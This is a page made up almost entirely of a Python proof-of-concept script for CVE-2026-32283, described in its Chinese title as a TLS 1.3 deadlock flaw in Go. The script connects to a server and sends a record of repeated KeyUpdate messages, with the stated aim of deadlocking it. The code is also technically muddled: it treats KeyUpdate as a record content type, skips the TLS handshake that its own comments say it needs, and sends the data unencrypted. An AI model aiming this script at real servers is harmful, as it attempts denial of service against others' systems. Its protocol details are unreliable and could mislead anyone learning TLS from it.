CVE-2026-32283 Go语言TLS 1.3连接死锁漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32283: Go TLS 1.3 Deadlock via Multiple KeyUpdates # This script attempts to send multiple KeyUpdate messages in a single record. # Note: Requires a vulnerable Go TLS server. import socket import struct import ssl # Define TLS 1.3 content types TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20 TLS_CONTENT_TYPE_ALERT = 21 TLS_CONTENT_TYPE_HANDSHAKE = 22 TLS_CONTENT_TYPE_APPLICATION_DATA = 23 TLS_CONTENT_TYPE_KEY_UPDATE = 24 # RFC 8446 def create_key_update_message(): # KeyUpdate message structure (RFC 8446 Section 4.6.3) # struct { # KeyUpdateRequest request_update; # } KeyUpdate; # enum { update_not_requested(0), update_requested(1) } KeyUpdateRequest; return struct.pack('B', 1) # Send update_requested def create_tls_record(content_type, version, data): return struct.pack('>BHH', content_type, version, len(data)) + data def exploit(target_host, target_port): # Establish a TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) print(f"[*] Connecting to {target_host}:{target_port}...") sock.connect((target_host, target_port)) # Perform a basic TLS 1.3 ClientHello (Simplified for PoC context, usually use ssl library) # For a robust PoC, one would typically use a library like OpenSSL or tlsfuzzer to complete handshake # Here we assume the socket is wrapped or we are injecting post-handshake. # Simulating the payload: Multiple KeyUpdate messages in one record payload = b"" for _ in range(5): # Sending 5 KeyUpdate messages in one record payload += create_key_update_message() # Wrap in TLS record layer # TLS 1.3 version is 0x0304 (but record layer uses 0x0303 for compatibility or 0x0304) malicious_record = create_tls_record(TLS_CONTENT_TYPE_KEY_UPDATE, 0x0303, payload) print(f"[*] Sending malicious record with multiple KeyUpdates...") try: sock.send(malicious_record) print("[+] Payload sent. Check if server deadlocks.") except Exception as e: print(f"[-] Error sending payload: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target exploit("127.0.0.1", 443)